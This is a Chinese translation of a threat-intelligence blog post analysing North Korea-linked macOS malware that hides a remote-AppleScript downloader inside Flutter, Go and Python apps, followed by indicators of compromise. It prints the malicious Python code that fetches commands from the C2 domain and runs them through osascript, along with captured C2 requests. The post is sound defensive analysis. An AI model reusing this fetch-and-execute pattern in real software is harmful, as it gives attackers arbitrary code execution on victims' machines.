APT 参与者将恶意软件嵌入 macOS Flutter 应用程序中

发现了一些恶意软件样本,这些样本据信与朝鲜民主主义人民共和国 (DPRK)(又称北朝鲜)有关,这些样本使用 Flutter 构建,Flutter 的设计可以对恶意代码进行混淆。JTL 深入研究了恶意代码的工作原理,以帮助保护 macOS 设备上的用户。

介绍

10 月下旬,Jamf Threat Labs 发现上传到 VirusTotal 的样本虽然显示出恶意意图,但报告显示这些样本是干净的。该恶意软件中的域名和技术与其他朝鲜恶意软件中使用的域名和技术非常相似,有迹象表明,该恶意软件曾被签名,甚至暂时通过了 Apple 的公证程序。目前尚不清楚该恶意软件是否已用于攻击任何目标,或者攻击者是否正在准备一种新的交付方式。

包装

发现的恶意软件有三种形式。Go 变体、使用 Py2App 构建的 Python 变体和 Flutter 构建的应用程序。这篇博文将重点介绍 Flutter 构建的应用程序,因为我们发现它最有趣,因为它的逆向复杂性很高。

Flutter是 Google 开发的一款框架,可简化跨平台应用程序的设计。如果开发人员正在设计一款希望在 macOS、iOS 和 Android 上保持一致的应用程序,Flutter 是一个可行的选择。

使用 Flutter 构建的应用程序具有独特的应用布局设计,为代码提供了大量隐蔽性。这是因为使用 Dart 编程语言写入主应用程序逻辑的代码包含在 dylib 中,该 dylib 随后由 Flutter 引擎加载。

上图显示了标准 Flutter 应用程序的布局,其中有两个值得注意的文件 - 一个主 Flutter 应用程序和一个被分配名称为 App 的 dylib 文件。更令人困惑的是,这个 dylib 不是由主应用程序直接加载的。由于 Flutter 编译其应用程序的复杂性,这个 dylib 未在主 machO 文件中列为共享库。虽然这个应用程序架构本身并没有什么恶意,但它恰好在设计上提供了一种很好的混淆途径。

恶意软件

恶意软件作者创建的 Flutter 应用程序被认为是第一阶段的有效载荷。我们最初确定了六个受感染的应用程序,其中五个使用开发者帐户签名进行签名。在我们发现时,Apple 已经撤销了这些签名。

BALTIMORE JEWISH COUNCIL, INC. (3AKYHFR584)
FAIRBANKS CURLING CLUB INC. (6W69GC943U)

一个名为New Updates in Crypto Exchange (2024-08-28).app(7cb8a9db65009f780d4384d5eaba7a7a5d7197c4) 的应用程序是使用 Flutter 构建的,并使用 Dart 编程语言开发。执行后,受害者将看到一个功能齐全的扫雷游戏。该游戏本身似乎是GitHub 上一个基本的开源F flutter 游戏的克隆,这是一个为 iOS 设计的项目。通过克隆项目并修改一些项目设置,它可以轻松地编译为在 macOS 上运行。

由于对应用程序进行了修改,启动应用程序时会向该域发出网络请求。这引起了我们的注意,因为该域过去mbupdate[.]linkpc[.]net曾被朝鲜恶意软件使用过。

以下是通过 HTTPS 对第二阶段恶意软件的 GET 请求。

GET /pkg/ HTTP/1.1
user-agent: dart-crx-update-request/1.0
accept-encoding: gzip
host: mbupdate[.]linkpc[.]net
content-length: 0

不幸的是,在我们分析时,服务器响应了 404 错误消息。

HTTP/1.1 404 Not Found
Date: Wed, 30 Oct 2024 15:21:02 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
Content-Length: 306
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at mbupdate[.]linkpc[.]net Port 443</address>
</body></html>

正如预期的那样,由于应用程序架构的原因,编译后的 Dart 代码会进入位于路径New Updates in Crypto Exchange (2024-08-28).app/Contents/Frameworks/App.framework/Versions/A/App(a2cd8cf70629b5bb0ea62278be627e21645466a3) 的 App dylib 文件中。

New Updates in Crypto Exchange (2024-08-28).app
└── Contents
    ├── Frameworks
    │   ├── App.framework
    │   │   ├── App -> Versions/Current/App <----HOLDS MALICIOUS CODE
    │   ├── FlutterMacOS.framework
    │   ├── audio_session.framework
    │   ├── in_app_review.framework
    │   ├── just_audio.framework
    │   ├── path_provider_foundation.framework
    │   ├── share_plus.framework
    │   └── shared_preferences_foundation.framework
    ├── Info.plist
    ├── MacOS
    │   └── minesweeper
    ├── PkgInfo
    └── Resources

从下面的输出中我们可以看到,快照相关符号(例如和)nm的存在表明应用程序的操作逻辑大量嵌入在预编译的 Dart 快照中,这使得分析和反编译工作变得复杂。_kDartVmSnapshotData``_kDartIsolateSnapshotInstructions

仔细查看字符串,我们可以快速确定一些支持的功能。正如预期的那样,我们在 dylib 中看到了域和用户代理字符串,但字符串的存在osascript非常有趣,因为它可能表示支持 AppleScript 执行的功能。

strings - App
....
dart-crx-update-request/1.0
dart-crx-update-request/1.0
mbupdate[.]linkpc[.]net
mbupdate[.]linkpc[.]net
osascript
osascript
....

为了进行测试,我们在本地测试环境中重定向了来自恶意域的流量,并确认该恶意软件确实执行了有效 HTTP 响应返回的任何 AppleScript 代码。我们的测试表明,第二阶段的 AppleScript 必须反向编写才能被恶意软件成功执行。

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
content-length: 51

".revres eht morf egassem a si sihT" golaid yalpsid

下面是通过远程 Applescript 执行的对话框消息的示例。

过去,我们观察到朝鲜正在适应使用原生AppleScript 有效载荷,因此我们怀疑攻击者可能会利用类似的有效载荷来攻击 macOS 系统。

Golang 变体

我们发现了具有类似功能的恶意软件 Golang 变体,标题为New Era for Stablecoins and DeFi, CeFi (Protected).app(0b9b61d0fffd52e6c37df37dfdffefc0e121acf7)。我们在 SentinelOne 的朋友最近发布了一篇博客文章,介绍了一种使用完全相同文件名的感染媒介,并将其归因于同一威胁行为者。

如上所述,该变体之前已由 Apple 签名并公证,但其签名现已被撤销。

与 Flutter 变体类似,标题为 (bc6b446bad7d76909d84e7948c369996b38966d1) 的可执行文件使用 user-agentHello发出 GET 请求。hXXps://mbupdate[.]linkpc[.]net/update.php``CustomUpdateUserAgent

GET /update.php HTTP/1.1
Host: mbupdate[.]linkpc[.]net
User-Agent: CustomUpdateUserAgent/1.0
Accept-Encoding: gzip
content-length: 0

它调用osascript运行服务器响应中收到的任何 AppleScript 有效负载。

loc_122eff5:
    rax = _io.ReadAll(rdi, rsi, rdx, rcx, r8, r9, stack[-184], stack[-176]);
....
            _os/exec.Command(0x2, rsi, 0x122f3c9, &var_38, r8, r9, stack[-184], stack[-176], stack[-168], stack[-160]);
            rax = _os/exec.(*Cmd).CombinedOutput(0x2, rsi, 0x122f3c9, &var_38, r8, r9, stack[-184]);
....

Python 变体

Python 变体使用Py2App打包为独立应用程序包。

标题为(ee22e7768e0f4673ab954b2dd542256749502e97)的应用程序包Runner.app是临时签名的,并启动了一个功能齐全的记事本应用程序。

位于的启动脚本Runner.app/Contents/Resources/__boot__.py执行名为 (6f280413a40d41b8dc828250bbb8940b219940c5) 的 Python 脚本notepad_.py 。此脚本利用 tkinter(用于创建 GUI 应用程序的内置 Python 库)来实现打开、编辑和保存文件等功能。

然而,此脚本中嵌入了获取并执行远程代码的恶意逻辑。与 Flutter 变体类似,init 方法向 发送 GET 请求hXXps://mbupdate[.]linkpc[.]net/update.php。如果收到有效响应,则将内容传递给该update() 方法。

    def __init__(self,**kwargs):
        # Check update
        try:
            headers = {'User-Agent': 'python-update-request/1.10.1'}
            response = requests.get('hXXps://mbupdate[.]linkpc[.]net/update.php', headers=headers, timeout=5)
            if response.status_code == 200:
                #print(response.text)
                self.update(response.text)
                self.__root.destroy()
        except:
            pass

update()方法使用osascriptAppleScript 执行服务器响应,允许攻击者在受害者的系统上运行任意命令或有效负载。

    def update(self, content):
        cmd = """osascript -e '{}'""".format(content)
        os.system(cmd)

结论

本博客中发现的恶意软件显示出强烈的迹象,表明它可能正在测试更大规模的武器化。这一理论源于这样一个事实:该行为者以从头到尾组织极具说服力的社会工程活动而闻名,并且此处看到的文件名与 Flutter 构建的应用程序中向用户显示的内容不一致。这可能是为了查看经过正确签名的应用程序(恶意代码隐藏在 dylib 中)是否能获得 Apple 公证服务器的批准,以及躲过防病毒供应商的监视。

攻击者将恶意软件嵌入基于 Flutter 的应用程序并非闻所未闻,但这是我们第一次看到攻击者使用它来攻击 macOS 设备。虽然这到底是真正的恶意软件还是一种将恶意软件武器化的新方法的测试仍未可知,但我们仍会密切关注攻击者的进一步活动。

IOCs

ARCHIVES/APPS
6fa932f4eb5171affb7f82f88218cca13fb2bfdc (Multisig Risk in Stablecoin (Solana).zip - flutter variant)
"Multisig Risk in Stablecoin (Solana).app"

a12ad8d16da974e2c1e9cfe6011082baab2089a3 (arjun.minesweeper.zip - flutter variant)
"New Updates in Crypto Exchanges (2024-09-01).app"

eadfafb35db1611350903c7a76689739d24b9e5c (arjun.minesweeper.zip - flutter variant)
"Multisig Risks in Stablecoin and Crypto Assets (EigenLayer).app"

7cb8a9db65009f780d4384d5eaba7a7a5d7197c4 (arjun.minesweeper.zip - flutter variant)
"New Updates in Crypto Exchange (2024-08-28).app"

0b9b61d0fffd52e6c37df37dfdffefc0e121acf7 (com.christy.gohello.zip - golang variant)
"New Era for Stablecoins and DeFi, CeFi (Protected).app"

ee22e7768e0f4673ab954b2dd542256749502e97 (Runner (1).zip - python variant)
"Runner.app"

DYLIB
a2cd8cf70629b5bb0ea62278be627e21645466a3 (App - flutter variant)
6664dfdbce1e6311ea02aa2827a866919a5659cc (App - flutter variant)

MACHO
dd38d7097a3359dc0d1c999225286a2f651b154e (minesweeper - universal - flutter variant)
9598e286142af837ee252de720aa550b3bea79ea (minesweeper - arm - flutter variant)
90e0e88e5b180eb1663c2b2cfe9f307ed03a301b (minesweeper - x86 - flutter variant)

710f84c42ba79de7eebb2021383105ae18c0c197 (minesweeper - universal - flutter variant)
5bf18435eb0dbb31e4056549f6ec880793f49a82 (minesweeper - arm - flutter variant)
2460c6ac4d55c34e3cc11c53f2e8c136682ac934 (minesweeper - x86 - flutter variant)

bc6b446bad7d76909d84e7948c369996b38966d1 (hello - universal - golang variant)
4476788a3178d53297caffca8ea21ab95352fc56 (hello - arm - golang variant)
3f51182029a2d4ed9c7cc886eb7666810904f9df (hello - x86 - golang variant)

PYTHON
6f280413a40d41b8dc828250bbb8940b219940c5 (notepad_.py - python variant)

TEAMID
BALTIMORE JEWISH COUNCIL, INC. (3AKYHFR584)
FAIRBANKS CURLING CLUB INC. (6W69GC943U)

DOMAIN
mbupdate[.]linkpc[.]net -> 172.86.102[.]98 (c2)

USER-AGENTS
dart-crx-update-request/1.0
CustomUpdateUserAgent/1.0
python-update-request/1.10.1
相关推荐
潜洋18 分钟前
Spring Boot教程之Spring Boot简介
java·spring boot·后端
In 202925 分钟前
7.一维差分
java·数据结构·算法
娃娃略28 分钟前
【不写for循环】玩玩行列
人工智能·pytorch·python·深度学习
小喵要摸鱼32 分钟前
Anaconda 和 conda 是什么关系?就像 pip 和 python 一样吗
python·conda·pip·anaconda
逊嘘33 分钟前
【Java语言】String类
java·开发语言
lazyone1034 分钟前
推荐一本python学习书:《编程不难》
开发语言·python·学习
Funky_oaNiu41 分钟前
如何使用EasyExcel生成多列表组合填充的复杂Excel示例
java·excel·easyexcel
魔道不误砍柴功1 小时前
@ComponentScan:Spring Boot中的自动装配大师
java·spring boot·后端
wshi101 小时前
✅DAY30 贪心算法 | 452. 用最少数量的箭引爆气球 | 435. 无重叠区间 | 763.划分字母区间
python·算法·leetcode·贪心算法
刀鋒偏冷1 小时前
python核心语法
python